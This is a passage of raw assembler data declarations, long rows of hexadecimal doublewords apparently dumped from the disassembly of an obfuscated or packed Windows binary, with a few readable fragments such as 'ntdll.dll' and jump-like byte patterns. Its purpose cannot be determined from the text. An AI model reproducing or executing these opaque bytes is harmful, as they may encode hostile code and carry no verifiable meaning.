0BC2816CFh, 17364008h, 0A84D18B2h, 0A337AE7Bh, 0A66h dd 38914BB9h, 8F269E06h, 42EB51B1h, 0F059037Ch, 45EC58CEh dd 0E95FBD67h, 79ECD27Bh, 0E55C62CBh, 83E0DE77h, 482C68C1h dd 0E65024D7h, 41F3A5C2h, 0F76ED64Fh, 8FF75CC9h, 0B6DF4D5h dd 0E541A670h, 3A01F4AFh, 4024A004h, 309C1CDFh, 0C48CADC9h dd 1FD94h, 18C22600h, 4A2E670Bh, 74970BD5h, 2B6B4ACFh dd 843AA4B4h, 74C151B6h, 38E66210h, 403AD14Eh, 0DF36C08h dd 4CD9A0B1h, 1EB2F46Dh, 0A997F397h, 3F1E873Dh, 27DCE877h dd 1031DBE0h, 6BD94A74h, 9887FCC2h, 60015407h, 755475D3h dd 3CB060D0h, 8B1F8688h, 9BAh, 6CC577EDh, 0DB72F252h, 76DF7DE5h dd 0CC65D748h, 79D094F2h, 0FD6BD15Bh, 75D0EE47h, 0E95866CFh dd 7FE4DA73h, 4C286CC5h, 0E64F28D3h, 45F7A1C2h, 0F46DD74Fh dd 0F3971EB2h, 7AC8FC6Ch, 0C6849CFh, 6044F768h, 54CDC2E6h dd 265071E8h, 152B4F07h, 0A59B32B2h, 5D1B8242h, 831C78B5h dd 0C92A6445h, 0FFC1A584h, 1175DC88h, 9382AB63h, 26819549h dd 270627BEh, 0F7C3EB55h, 0E2AAE52Dh, 62FB69DCh, 0D87DE75Ch dd 7DE2D35Eh, 2BA531A8h, 7E000009h, 0CFF15804h, 7A44ED57h dd 0C1FF5606h, 6B55FC60h, 0CCEE47FDh, 0D68EF864h, 7EE6417Fh dd 0C27AE9D7h, 74F0556Bh, 62FD99DDh, 0C2E64EB7h, 16F44610h dd 3093DA89h, 9C86FDC9h, 65B04006h, 98489E01h, 0B899CF74h dd 1B86B8DCh, 271938A1h, 754B03C1h, 0F5CBAF0Dh, 6B4AD391h dd 24CC8A23h, 0F6D78DF6h, 0B269F692h, 1BC2EC90h, 1D19483Ah dd 54EEC7CFh, 221C781Ch, 0E2861FBDh, 0EBADBE7Dh, 0F2E0FC2h dd 256DD731h, 324E6EBAh, 0FA9EBFC9h, 4CE55FC4h, 0AC001172h dd 627F4C3Fh, 0F16BD4EAh, 0CD684968h, 7DEE8C41h, 7FBA2EB7h dd 92000008h, 1B258C30h, 0AE9039ABh, 1D238A32h, 0AF9138A4h dd 228B39h, 2C22418h, 0B23295ABh, 1EBE251Bh, 0A81C89B7h dd 0BE214501h, 0C2E64DFBh, 0EE289ACCh, 0C9309427h, 58F173D0h dd 407E721Eh, 3CFF60E4h, 8DC93094h, 94C376E9h, 2504C930h dd 0DE412504h, 0CF74E26Ch, 86B8DCFDh, 3608A11Bh, 4B7511CBh dd 0B52C64D8h, 81521h, 9B379300h, 0E3E97612h, 38CF74BDh dd 6B18C35Ch, 0C3B1C2ECh, 1643289Bh, 82CAEB80h, 0D34CD5F4h dd 0C2EBAB24h, 6CD57AEDh, 7648D1F0h, 84CF560Eh, 5BC633FFh dd 0E387C0E1h, 5DB0F91h, 0EC54DF9Ah, 0BBC9E8C2h, 5E166BF1h dd 0B014F925h, 45FBB039h, 16Eh, 68D44FF7h, 0EC58CFF1h dd 0FA631175h, 930DDC62h, 950E3078h, 1988B62Fh, 0CD340AA3h dd 22B0F66Fh, 0E56CF397h, 34C9308Dh, 4E2A9A0Ah, 308D2AD1h dd 0CA82A3C9h, 3A049DBCh, 0B08E17C5h, 62089153h, 473F0D19h dd 3B5FF23Ch, 308CF5A4h, 0BFF7D6C9h, 60FF2281h, 0C9308DB9h dd 0BB123312h, 27BE1E85h, 308DF5B8h, 625C38C9h, 0E7C65FFDh dd 0ED4AD4AFh, 9CA2C676h, 59F0B824h, 5C38751Fh, 0DB420262h dd 8D7920BFh, 7352C930h, 4CF86C52h, 0D8BCF4D5h, 308D9C47h dd 0B1112FC9h, 35AC920Bh, 2C98A687h, 480021B8h, 0B8861F3Eh dd 3E974Dh, 98A63FA5h, 5820B92Bh, 0AB1AF723h, 37AE9039h dd 1094F4DEh, 88A97FF6h, 6DBB5711h, 72F255FAh, 0D5EBCA53h dd 4968F173h, 1A680C68h, 739BDE81h, 0F90D808h, 0CF7404A9h dd 0AE903918h, 0B3319237h, 0B32A0B2Ah, 0AB815FF5h, 3D4D4FA7h dd 9FFBDAh, 0C2EC745Dh, 0CE36086Ch, 73D28916h, 0DAFBC2ECh dd 5CC5E492h, 960DFE62h, 0A71D4C20h, 0E30A988h, 3CB22B91h dd 1961DB47h, 0EC5BB862h, 8BB5D178h, 0D2ECA418h, 702BB473h dd 59C2EB9Ah, 2B1B0A78h, 9C214BD1h, 0CE6224BDh, 16BC2347h dd 0D7C930B6h, 5EC77DE9h, 93F75E7Fh, 0CF8735ADh, 872E96F1h dd 3B924AB9h, 0F5A43B5Fh, 9EC93071h, 0E9C8BE26h, 9B3713A1h dd 9411C857h, 9BBAC930h, 69F3DA5h, 0FD620627h, 0CF74B14Fh dd 9F45A09Eh, 9F062706h, 369F45A1h, 17A03784h, 0D1881773h dd 0FAC93093h, 945A019Eh, 5273C930h, 4330173h, 0A7FCEAD7h dd 2EE976EFh, 0D7C92FFCh, 546AF371h, 0A3E871EBh, 0B9FE4ED8h dd 93F358C2h, 0A001F41Bh, 22h, 6DD74F12h, 94B06BF4h, 6C17C930h dd 73F155C2h, 2480BEDAh, 77E8A0h, 16C930B6h, 0FFFFA482h dd 0D64F30FFh, 8CE8DC6Eh, 0CE3E6EFEh, 32AEF16Eh, 0B69DB225h dd 97671534h, 399D87E7h, 15E0521Ah, 420ABA2Bh, 96247104h dd 71156AD8h, 30942BEEh, 0F5BD9CC9h, 0F4A773C3h, 4D8004h dd 15320000h, 4E06B62Bh, 0D0376D08h, 0DEAC8D14h, 6B36F996h dd 79CBEA38h, 93CF8A15h, 0D4EAC930h, 0CCBAF272h, 948437A8h dd 6445C930h, 0A715F745h, 6F026715h, 5D3612ECh, 9BB2B15h dd 432743BBh, 30941DDCh, 0C78FAEC9h, 41E575h, 15570000h dd 502FE667h, 6991E89h, 0C9308953h, 3C745574h, 0E85ADB7Ah dd 0D74F7115h, 0FFBA256Dh, 0D6C93093h, 711545F7h, 246CD84Fh dd 6DD74F96h, 846D7B09h, 269E55C1h, 55E0CB54h, 662E0775h dd 4FF143D4h, 6FF069D3h, 0C93094ACh, 8C137713h, 0C93093CDh dd 0EC97DFFEh, 0CF6DD542h, 0A214F966h, 6A0EC930h, 0B8E92818h dd 723A4D97h, 0FFF3AAE6h, 0D74F54FFh, 0EE82C46Dh, 0AA5CC3A7h dd 3BCF74C3h, 0B50C7E1Ah, 0A7647321h, 57029DF9h, 70C2EB9Eh dd 1F801951h, 0C2EB9E58h, 12F72358h, 0FBAFB9B2h, 743h dd 1E5F100h, 57000000h, 0C8579B37h, 0C9309411h, 0DEBA9BBAh dd 74A53F41h, 95FE8CCFh, 2B17779Eh, 85D8C6B4h, 4AEDEF04h dd 0CC557402h, 4A8192F2h, 5CF6E87Ch, 0A21A87B9h, 3BB52A83h dd 0B2C2EC0Ch, 7A44ED4Fh, 55315507h, 0EC0C0FCAh, 0D199B8C2h dd 4DBCFB48h, 2755EC36h, 0AD3BADCBh, 0A49AD2A9h, 52369F3Dh dd 0ECD5236h, 0BFC2EC1Ch, 1C5A019Eh, 5273C2ECh, 5BF241Ah dd 0FB52E10h, 121C671Ah, 4404C025h, 6C6C5220h, 0F5323370h dd 0CBB9EB20h, 82BC8437h, 45F7BF1Dh, 74A7DF47h, 0CB1402h dd 37A60000h, 674109Dh, 0F6DB6F29h, 0A1135B93h, 7BD2B15h dd 93F7BF9Eh, 30944A0Ch, 0F64465C9h, 1F0AA715h, 6ED64FBEh dd 0B28CE8DCh, 2A0B9252h, 0A037D062h, 6AD8A517h, 0F4A7EF47h dd 500404h, 37B60000h, 15A517A0h, 3093CF8Ah, 0BDD9F8C9h dd 949346D9h, 57CC930h, 48002157h, 4FA715FAh, 4B728D7h dd 0C5C93094h, 4377C5E4h, 1DDC4327h, 0BCC93094h, 30947823h dd 67051C9h, 15DD6F27h, 6105B72Bh, 30943BFEh, 0E5AD8CC9h dd 3171h, 0A037C300h, 182D744h, 0EC5B2DF3h, 0CA785978h dd 93CF8A15h, 0C7E6C930h, 7E671575h, 4ED06873h, 31E87713h dd 9AC93011h, 2597F3BBh, 0DF6DD74Fh, 31E5F143h, 81FFFFFFh dd 0D09844BFh, 71D64F62h, 1435AC10h, 3192AC35h, 407E1AB3h dd 0E6407EE6h, 8EC6E77Eh, 92F228C8h, 897F3D2h, 0CF74B51Ah dd 84F692B3h, 0E4F55ECBh, 0AC357D28h, 0EBDF8433h, 230F74C2h dd 0AFFAC63Eh, 4C6FFBh, 37DD0000h, 0E976129Bh, 0CF749F53h dd 9D029BBAh, 0C2EC88DAh, 0A8DABEDAh, 944FAD4h, 40FB64F0h dd 9BC2EBEEh, 0EBEE5504h, 215776C2h, 0BAB33453h, 0D7F6364Fh dd 873AE49Fh, 81F2B9F5h, 7A44F5F3h, 291F5705h, 0FBAFD7BDh dd 0D476h, 0D64FC400h, 5FC9F76Eh, 43BF81E5h, 69210099h dd 0F055CEF0h, 6948D193h, 0AE122C48h, 0E1DF460Eh, 632D9384h dd 7AA1E9B1h, 0F66DF25Bh, 1FC93098h, 0A9973EA6h, 0D2EC883Ch dd 1F86CE6Eh, 9E2FB959h, 4D229853h, 3FA0C4E5h, 0CF7462A1h dd 0AEE84160h, 8BEF8B02h, 1A8B50B5h, 33128BAAh, 0C6E7E47Bh dd 1A24C932h, 0A75C6BACh, 0C3448CD2h, 7B5A7BE2h, 1DC7211Fh dd 0A81C8AB4h, 0EEBA9F0Dh, 8C18817Dh, 22Eh, 0F0590361h dd 47EE56CEh, 0FA530979h, 48E15BC4h, 0FD541076h, 81E755DFh dd 0F1546AC3h, 7DE4DA73h, 0DB4876DFh, 0E084C069h, 0E647BC7Fh dd 0E95B0DC2h, 0BA38D94Fh, 0BD180EAFh, 6B0FA687h, 23E9900Fh dd 0C3E2C930h, 9450B58Bh, 0EE56CEF0h, 0B71E5677h, 129B3705h dd 61601276h, 2C3CC7C1h, 0A0813BA6h, 62E577E8h, 524CF74h dd 5E54039Ch, 2044C2ECh, 0BF22A71Eh, 84A5841Dh, 866BB7CCh dd 0FBB07D1Eh, 0A1D7h, 0D64F6500h, 5FC9F76Eh, 80E37CE5h dd 91C93098h, 7D19B034h, 8FD38619h, 0D5F4C930h, 8242A39Dh dd 78B55D1Bh, 0B1FD831Ch, 0E2DCCF74h, 6746DF7Dh, 9A9EF46h dd 1777E88Ch, 44C93314h, 0F0292436h, 0F5CBF758h, 97B62F8Dh dd 0EC88A9DFh, 0AE641788h, 4465C92Dh, 0F056680Ch, 85E3DD74h dd 0C5E27ADFh, 0B1287DEEh, 14125h, 4EEE5400h, 0F76DD9E7h dd 5C00605Eh, 0E656CBF5h, 0AD17714Fh, 1EFE2604h, 0AB953CA8h dd 1F21883Ch, 0AF9138A4h, 63278E36h, 45E19807h, 0BCEAC2E6h dd 6BD94F0Eh, 0DD87FCC2h, 2B15C674h, 0F59108BCh, 3094AF6Ah dd 183918C9h, 4FF56E50h, 0C97BE8D6h, 0CB3A0460h, 219B06h dd 2B620E48h, 9896D04Fh, 0B7C5CF74h, 16A71557h, 6D1B535Bh dd 0AD16284Ch, 43A09E37h, 23BA229Eh, 1DC73C02h, 0FFC1A53Ch dd 0D690D884h, 897F33Ah, 0C936BC98h, 34A81927h, 4EB28CADh dd 1E5677EEh, 82EC4968h, 0B47DE21Bh, 9CB92Dh, 158F0000h dd 0D4300EA7h, 1B87B910h, 0C93608A1h, 2284BA13h, 0FF290BA2h dd 9039AB1Dh, 248D37AEh, 9C35A71Ah, 2A8341A2h, 0E6950A6Eh dd 0E7C2E645h, 711503B1h, 30942BEEh, 0F5BD9CC9h, 4CD31FB3h dd 0C930948Dh, 16C55A3Eh, 0B7C93094h, 1A89B796h, 78E783A2h dd 0CF7AC960h, 2B158CADh, 9DA30ABAh, 4125BC28h, 5FFFBA25h dd 0E9C8C2E6h, 61AE3EA1h, 3942C32Bh, 21A300EDh, 974DB688h dd 6DCF300Eh, 2BF78CF4h, 8BEF55CEh, 5FC970EFh, 2302C321h dd 87FCC26Bh, 3D044DDh, 62000000h, 0D54FFB49h, 63C0FE67h dd 0DB4678E1h, 5FC6F861h, 0E4427CE5h, 61C7F960h, 0DB447AE3h dd 5AC6F861h, 0E1457BE2h, 51EDFA63h, 0C181E189h, 4, 4E981h dd 0C870000h, 4895C24h, 0E3895324h, 4C381h, 0EB830000h dd 241C8704h, 243C895Ch, 81E38953h, 4C3h, 4EB8100h, 87000000h dd 895C241Ch, 68552434h, 223D4DB0h, 0BAC5815Dh, 89E40CE7h dd 242C8BEFh, 8304C483h, 248904ECh, 24048324h, 81575E04h dd 14E9242Ch, 468F67DFh, 8468108h, 67DF14E9h, 5324348Bh dd 0C381E389h, 4, 4C381h, 1C870000h, 3C8B5C24h, 0E0895024h dd 405h, 40500h, 4870000h, 0F7E95C24h, 0CFFFFA2Eh, 0A8A756E6h dd 0A9FAD22h, 929B0CE3h, 4F81B8A3h, 0C503064Ah, 0E985C650h dd 47064402h, 38172568h, 7DB5FFCFh, 8D06442Dh, 443A6585h dd 8BD0FF06h, 71858DD8h, 50064404h, 10468h, 0C6D3FF00h dd 4402E985h, 0BF685306h, 0FF8307F8h, 442D7DB5h, 65858D06h dd 0FF06443Ah, 4B8589D0h, 83064A33h, 442381BDh, 840F0006h dd 0Bh, 10859D8Bh, 5E90644h, 0BB000000h, 0 dd 10068h, 4FB58D00h, 56064A33h, 3D95FF53h, 8D06442Ah dd 4A334FB5h, 0E9F00306h, 1, 5C3E804Eh, 9840Fh, 3E800000h dd 0ED850F2Fh, 0C6FFFFFFh, 858D0006h, 64A334Fh, 4B95FF50h dd 58064A33h, 0D01DE0FFh, 81F176B3h, 0DEB20460h, 8B844A4Fh dd 5C190269h, 6B8F036Bh, 5ADC1CEAh, 5B161B07h, 1DA653AFh dd 3B505395h, 80A95617h, 6FFB0EEEh, 0F8B25D25h, 999644BAh dd 497217C0h, 531C3E4Bh, 0DCD147AAh, 434F7FD8h, 498F5ECBh dd 34B23537h, 0CDC22065h, 0DEE150DDh, 0EFD34083h, 38EA23EDh dd 7EC97448h, 26EB6841h, 33B61B90h, 558EAFECh, 6C64746Eh dd 6C642E6Ch, 2188006Ch, 5D340746h, 2236A3D2h, 5821h, 0 dd 25E90000h, 68000006h, 64A52C7h, 0FA2D99E9h, 538768FFh dd 8FE9064Ah, 68FFFA2Dh, 64A542Eh, 0FA2D85E9h, 54E768FFh dd 7BE9064Ah, 68FFFA2Dh, 64A5578h, 0FA2D71E9h, 562E68FFh dd 67E9064Ah, 0FEFFFA2Dh, 4F71D884h, 0FAC46DD7h, 417FD686h dd 0EBD57CE0h, 4C6EC77Dh, 560E78E4h, 0FE66C1FFh, 42FA6957h dd 0F470D5EBh, 0E27D195Dh, 0C2E64337h, 0C6A2C690h, 0E643A259h dd 420A2BC2h, 24E5F0h, 0BF810000h, 25049D47h, 0D64FDF6Dh dd 4AE6F03Dh, 0DB4B6DCDh, 0F0694869h, 46EF55CEh, 2FA81ED9h dd 0C07CE7C9h, 9B37DB69h, 0E3E97612h, 38CF74A8h, 88BC544Ah dd 0E5AD9BCAh, 8C38AD93h, 0ECAB34ADh, 0ECC2EBDEh, 3EA68B97h dd 0F7FBAFFEh, 254h, 8C38AD93h, 31C276C4h, 8B661470h, 678B7941h dd 1DE8930Ch, 93E1C930h, 5643EFBBh, 420A2BE4h, 45216C04h dd 746604DAh, 246445CFh, 1B08EDBBh, 29640C87h, 0AF17294Dh dd 2607B52Ah, 14FBF16Eh, 1E200D0Ah, 1CC021A6h, 0CD85A43Dh dd 0C0FE9ABBh, 5A64FD5Fh, 3E5A7BE9h, 213FAA1h, 0BAF2D305h dd 40CD6523h, 8BABBB24h, 2700B49h, 6DC03D1Ch, 0FE88C0C7h dd 2085BBDFh, 0D2330DA4h, 0ADCEB712h, 0EB72BF85h, 4287Fh dd 0A21A8800h, 13D1350Bh, 0A01C84BAh, 12CA3709h, 0A12385BBh dd 1A022A08h, 0AF9138ACh, 1B258C38h, 0A39D34A8h, 6F2B8242h dd 41E5940Bh, 0B0E6C2E6h, 6ED64F02h, 9421B1F7h, 0AC816FF0h dd 0B6D2CF74h, 0EC7D7229h, 447A5BC2h, 5C2A62E2h, 61400462h dd 8B887BC8h, 0EA52B1E7h, 6E30AFCBh, 0AFC93080h, 4151CE8Eh dd 8C61CE39h, 0A9CDA9E4h, 2CB52F97h, 10D4330Dh, 0FCC5C758h dd 281636D6h, 3D4B03B9h, 93E1851Ch, 1D3903B5h, 0B0F6BED5h dd 6EF19520h, 309EFC56h, 9B5EC1A5h, 2C30922Dh, 1233450Dh dd 0B42C1276h, 2CE49708h, 0C4E53092h, 6DD6E88Ch, 3605EF7h dd 58ABE441h, 0C45DE572h, 36850h, 0E25AC800h, 5311754Bh dd 0E05CC4FAh, 520A7749h, 0E163C5FBh, 5AC26A48h, 0EFD178ECh dd 5B65CC78h, 0E3DD74E8h, 2F6BC282h, 4125D44Bh, 0F0A6C2E6h dd 71D64F42h, 50225014h, 0AF16B43Ch, 4F0990B1h, 6A0E6AA3h dd 0AE31F054h, 0C93019EBh, 45DCFDDCh, 81B32C64h, 0B8CF7448h dd 86A71D86h, 4CC9692Fh, 9152B728h, 0B293C936h, 0C478E8D6h dd 50347C5Dh, 0F650F56Eh, 0F8C66F4Eh, 640D98Bh, 0EE58666Ah dd 51CEEF76h, 0C9228FAAh, 47230223h, 66AEBED8h, 786F1DCFh dd 0F5E97693h, 77562068h, 0A60F87D2h, 68FC657Bh, 2C1h dd 0F0590361h, 47EE56CEh, 0FA530979h, 48E15BC4h, 0FD541076h dd 81E755DFh, 0F1546AC3h, 7DE4DA73h, 0DB4876DFh, 0E084C069h dd 0E640BC7Fh, 0E95B0DC2h, 0F76ED64Fh, 178B21B1h, 3C1D3CA5h dd 0C2FDC758h, 704ECF74h, 1736AF15h, 6C08295Fh, 17CD3608h dd 0EC65D188h, 0E5DBFAC2h, 7A5BC282h, 380F9B32h, 0BD000001h dd 0BB5734C2h, 721672h, 79E7F141h, 0E17E3692h, 0CF73D41Fh dd 493B5F7Eh, 0B09B2F67h, 1D5D155Ah, 297C1382h, 0A1EC84B8h dd 0B4845AC5h, 0E4C5DBFBh, 1E973B7Dh, 1CE1E57Ah, 1D3CDA3Bh dd 66DE4779h, 2E95ABCFh, 8BF8C68Eh, 0A7277CD9h, 70E98E97h dd 208E4h, 823AA800h, 33B1152Bh, 803CA49Ah, 32AA1729h dd 8143A59Bh, 3A220A28h, 8FB118CCh, 3B05AC18h, 83BD14C8h dd 4F0BA222h, 4005B42Bh, 90C6C2E6h, 6ED64F22h, 9421B1F7h dd 0AC816FF0h, 0E1C0CF74h, 0F0CFB48h, 0D14E2A63h, 0C930800Fh dd 40FD625Ch, 0D9F861E3h, 0E7C6B0F8h, 686438A7h, 0F9995812h dd 7947D8BCh, 0D84092AFh, 8A2660F9h, 0ECF86703h, 2146D221h dd 0E95A6400h, 106D1F7Bh, 0A25F0AB2h, 19278EC6h, 0BC9D38ACh dd 0C0F30E34h, 177CD59h, 0CD370000h, 8CF8C66Fh, 0D34F71D8h dd 81FEC069h, 0DA4C72DBh, 37E1C36Ah, 48E163C5h, 0FC550F76h dd 54FD5FC2h, 0E24BF96Ah, 9E5DC2A6h, 2FC2E63Fh, 0D64FCB79h dd 0AD93F76Eh, 32138A3Ah, 19943C7Ah, 728E0F7Dh, 0C1FA948h dd 75BF2044h, 0B4CF744Ch, 378E3C95h, 0E976129Bh, 0CF7AE58Ah dd 8138A7C3h, 4AC2E643h, 102E4A6Bh, 0A69831B3h, 7A1E873Dh dd 0F7844108h, 836DE99h, 9DBC2597h, 0B6FF93D5h, 6AD44DD2h dd 371C930h, 0C9721ECCh, 561405Fh, 0B31ACA3Bh, 0C8AC188Dh dd 695693BAh, 521A9FD9h, 0A8E58DCBh, 0FAA553CCh, 524CF73h dd 0A89597A0h, 3CA8317Bh, 0C1h, 0F0590361h, 47EE56CEh dd 0FA530979h, 48E15BC4h, 0FD541076h, 81E755DFh, 0F1546AC3h dd 7DE4DA73h, 0DB4876DFh, 0E084C069h, 0E63EBC7Fh, 0E95B0DC2h dd 76129B37h, 0CB82C12h, 63FCB495h, 0CF7AE618h, 0A9671571h dd 5F38954Fh, 9E4B0E91h, 5D7CC2E5h, 0BD26187Ch, 0E8D64F07h dd 5E60C97Bh, 79E67FE5h, 2151143Fh, 0F15EC8B3h, 4779D094h dd 660266DEh, 0E778EC58h, 710F1134h, 65FCB495h, 0EF76E65Bh dd 54CD77D1h, 0D148FC6Ah, 926AB4CFh, 0A88591EAh, 89ED893Bh dd 685F96FBh, 1986F463h, 710F2362h, 0BC22426Fh, 0D3A5241Ah dd 52CB79EDh, 0B31A5273h, 0C8AC188Dh, 9CD490F6h, 39105h dd 49230000h, 67D54FFBh, 0E163C0FEh, 61DB4678h, 0E55FC6F8h dd 60E4427Ch, 0E361C7F9h, 61DB447Ah, 0E25AC6F8h, 63E1457Bh dd 8952EDFAh, 4C281E2h, 83000000h, 148704EAh, 24248B24h dd 1FA068h, 24348900h, 81E38953h, 4C3h, 4EB8100h, 87000000h dd 895C241Ch, 6853242Ch, 199F495Dh, 54C3815Bh, 89ECAB08h dd 8B545BDEh, 0C481242Ch, 4, 196968h, 24348900h, 0FF08458Fh dd 815D2434h, 4C4h, 24348B00h, 81E78957h, 4C7h, 4C78300h dd 5C243C87h, 0FA278DE9h, 8AA3AFFFh, 0E4AC205Eh, 3C8F790Eh dd 0FF550410h, 4A5714B8h, 0FFC50306h, 0A8D435E0h, 0F066DE1Dh dd 39C8F7Eh, 0B34DCB44h, 0D1FA54Ch, 0EE801h, 69EF0000h dd 49A07FB7h, 713B040Eh, 42CD23B6h, 6658D78Bh, 0C081F18Bh dd 5F86h, 2C492EBEh, 0E9DB2B32h, 0Ch, 0B963DB7h, 91548D64h dd 0D2976ACEh, 660334FFh, 2169C981h, 34F7815Fh, 0F524BF8h dd 58Ah, 9559BA00h, 0EF81484Eh, 25390451h, 0EC69BE66h dd 8905F781h, 9E92C03h, 0AB000000h, 8E73D81Ch, 7493BFCh dd 48A0F57h, 66000000h, 8F8A33BEh, 66601804h, 71FDF81h dd 6189CD80h, 0BE9h, 506E1000h, 50B568A1h, 0AC6B7BCEh dd 8A03EB83h, 8B664BEBh, 20FB81CFh, 0FFFFFA1h, 0FFFF8B85h dd 3ADE80FFh, 8EBh, 7A4A0000h, 0F8E91D2Eh, 68000004h, 64A5984h dd 0FA2699E9h, 59FE68FFh, 8FE9064Ah, 68FFFA26h, 64A5B5Bh dd 0FA2685E9h, 0F666DCFFh, 5F05615Fh, 0E458C8F6h, 0AE0E734Dh dd 15CF3907h, 0A6969EBCh, 132D8440h, 0A79930B4h, 1729803Ch dd 0DB9F36AEh, 3C7920BFh, 452C2E6h, 6BD94FB6h, 0ED57CCF2h dd 276E0244h, 0B16E3143h, 0A9DB81E0h, 652DB28Ch, 52549E01h dd 0F587CF74h, 0EEB42B6Eh, 5721693Fh, 0C570EF76h, 37C2EC66h dd 48F46D53h, 4AAF7B00h, 0FBB085DAh, 0E5CC5D2Fh, 279E366h dd 3C42F966h, 0AA8BC2ECh, 308B2E2h, 15000000h, 9009BB2Bh dd 178E36AEh, 0EC5F1736h, 46CF63E0h, 3BA91C22h, 0B6881773h dd 17CF7496h, 2504B829h, 0F8B4FA65h, 2DC5C051h, 92E084E0h dd 52A5841Fh, 3CA3EBA7h, 0D452CFF6h, 0C98F1637h, 1788EC29h dd 0D20EEFC5h, 7F412504h, 65E24106h, 0FCDD4400h, 446544DDh dd 20DB4420h dd 0A9CE0EAFh, 5769C088h, 0AAD376EEh, 5E86CDA3h, 31853C7h dd 59CB0000h, 10744AE3h, 5FC3FD54h, 0F56A54FDh, 76D0EE47h dd 0DB4567CEh, 0F45D0761h, 40E95BCAh, 0F059037Eh, 46EF55CEh dd 42F96602h, 8BC2E63Bh, 9B376FDDh, 96E97612h, 0E5CF7AECh dd 3C5B1E81h, 4D6CC2E6h, 36527305h, 8F269E08h, 89ED57B1h dd 3CC772EDh, 7200C2E6h, 727DF1B7h, 0C8BA9B3Dh, 0FFBA6B86h dd 57CE8677h, 0E61F0CC8h, 289C09C2h, 59CCC28Dh, 3FAB3284h dd 29Eh, 40E953B1h, 0F75E067Eh, 4AE359C9h, 0F8510B74h dd 4DE460C6h, 0F157C56Fh, 81E4DA73h, 0ED546AC3h, 6BD8E64Fh dd 701450F9h, 0E63B2CEFh, 79CB9DC2h, 76129B37h, 0FD64D848h dd 6FF094DCh, 0CF7AED10h, 8BE1163h, 0A407193Ch, 9DE89AECh dd 7D4C9366h, 0A639A081h, 0C2E5AFEFh, 2EB72D98h, 9F6D815Ch dd 0A29C0B2Fh, 19079E3Eh, 9E01B862h, 0C2E5CDDBh, 0ABECCDECh dd 85E146D0h, 0AEFBA9E9h, 19Eh, 0BB2B151Ch, 0F9B19009h dd 7FE65EC7h, 0C960E441h, 7DF9E38Fh, 0EC7F4D55h, 32ADC9E8h dd 0CF73C850h, 0AE31A889h, 0C2EBC6E7h, 178E3690h, 9C05BF29h dd 4FBD6912h, 42A77308h, 0FBAFE2E2h, 3713h, 9B37A100h dd 0B2A9A0Dh, 9F6AF06Fh, 82A3CF74h, 88D1841Bh, 0B8C3C2ECh dd 0A81D896Eh, 0DCE2FBB0h, 0A6EF765h, 0EC94E695h, 0E7C6E7C2h dd 6EF76DD9h, 0B857074Fh, 0E5000000h, 0F76ED64Fh, 7CE55FC9h dd 0FA63E142h, 4CE55FC4h, 309902D3h, 0DD233C9h, 0A108299Bh dd 0A6C24BE7h, 77363A39h, 0B6D2F3CFh, 0C2A61E88h, 0F38239A6h dd 754BC2E9h, 1736AF0Dh, 0B3D77E36h, 0F39148D7h, 1B3AC2E9h dd 0BA964869h, 531B4CF4h, 0EA56FB6Dh, 0D34AFA6Dh, 6B4AD3F2h dd 0BBAEF4Ah, 0F76E7BAAh, 14163h, 0EAE1400h, 0B72D99A7h dd 1CC0201Eh, 0A6168BB5h, 6DD7310Fh, 0DE3EE6C4h, 6B55FC68h dd 0DFE148FCh, 6F51F864h, 0A3E74EF6h, 39A158C7h, 7C2AC2E6h dd 2ED94FCEh, 30940AB1h, 0C3E2C3C9h, 26EF546Ah, 7B506BE4h dd 0A60F2EB2h, 8239A6C2h, 4BC93075h, 4F90226Ah, 780A6ED6h dd 87FE885Eh, 176544DDh, 0CF870F4Ah, 49FB6856h, 7FE084E0h dd 0C92FC2BCh, 6FD5330Dh, 0B040064Eh, 2C9E0165h, 0BDCF7410h dd 0A29CF89Ch, 18F18341h, 486DA17h, 4DBB85CDh, 285A3E97h dd 0E95CF520h, 0E7D3097Bh, 4564D84Bh, 0E9E3920Dh, 37ACC2EBh dd 3240248Dh, 0C586DC3Eh, 526C2464h, 7DE970F4h, 86h, 2BA2719h dd 7115F84Ah, 0F36CD84Fh, 0C9309448h, 279EA081h, 1FB3F5BDh dd 948D4CD3h, 1F3EC930h, 821BC121h, 79E682A3h, 0CF7AED2Ah dd 79EB5D63h, 0AFB3C1E0h, 43D377EDh, 0F6C85170h, 407ED78Dh dd 67F861E3h, 0DE4AAA30h, 0EE4BD7ACh, 95ABCF75h, 142AB331h dd 5D1534B0h, 0EB59CAF4h, 69D34C72h, 27F388F0h, 8DF459CAh dd 546A0E2Fh, 4CF050EDh, 9DD5F4D5h, 2B990A34h, 0AA12714Fh dd 3EF7BE2h, 5D000000h, 0D54FFB49h, 63C0FE67h, 0DB4678E1h dd 5FC6F861h, 0E4427CE5h, 61C7F960h, 0DB447AE3h, 5AC6F861h dd 0E1457BE2h, 53EDFA63h, 0C381E389h, 4, 4EB81h, 1C870000h dd 24895C24h, 24048124h, 4, 73468h, 242C8900h, 81E28952h dd 4C2h, 4EA8100h, 87000000h, 895C2414h, 0EC812404h, 4 dd 0BF243C89h, 7E9B174Ch, 0E56FDFBDh, 5FFD2984h, 24048B54h dd 5104C483h, 8B9h, 0FEC18100h, 1433154h, 0FEE981C1h, 89433154h dd 48B5929h, 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h dd 56242C8Bh, 0C681E689h, 4, 4C681h, 34870000h, 0B7E95C24h dd 4FFFFA21h, 0A796A1B6h, 82AF4B68h, 0B8BCBED5h, 64A5CC1h dd 0E0FFC503h, 6E1F6F2Ah, 4E82F98Eh, 5683F6D5h, 27FB8A12h dd 7644113Eh, 0D87BF8Ch, 4A23EBB6h, 2279CB50h, 0EC3019h dd 5E546783h, 48021C3h, 67A8A80Ah, 7B28382Fh, 45063C5Ah dd 1F68F3F4h, 42A2DF4Ah, 624115C2h, 69D8B689h, 6D6285B1h dd 29BBD17Dh, 212449D9h, 5E9E8D8Dh, 850B064Ah, 6440261h dd 2F5D8D89h, 14B00644h, 85C7ECB6h, 6440679h, 67E0h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0C1C35141h, 2F7387CBh dd 7185C72Dh, 64410h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 52BC351h, 0AFED2ADDh dd 0B5FFD6B4h, 64430F5h, 11E8h, 3C548200h, 9674C7E7h, 2DDEE3FCh dd 0AFBDBC51h, 952BC484h, 6441C31h, 0D281665Eh, 95FF57B2h dd 6440BF9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 56C35141h, 0E71C6802h, 502408E7h, 6820FC7h, 8B000000h dd 441D4DBDh, 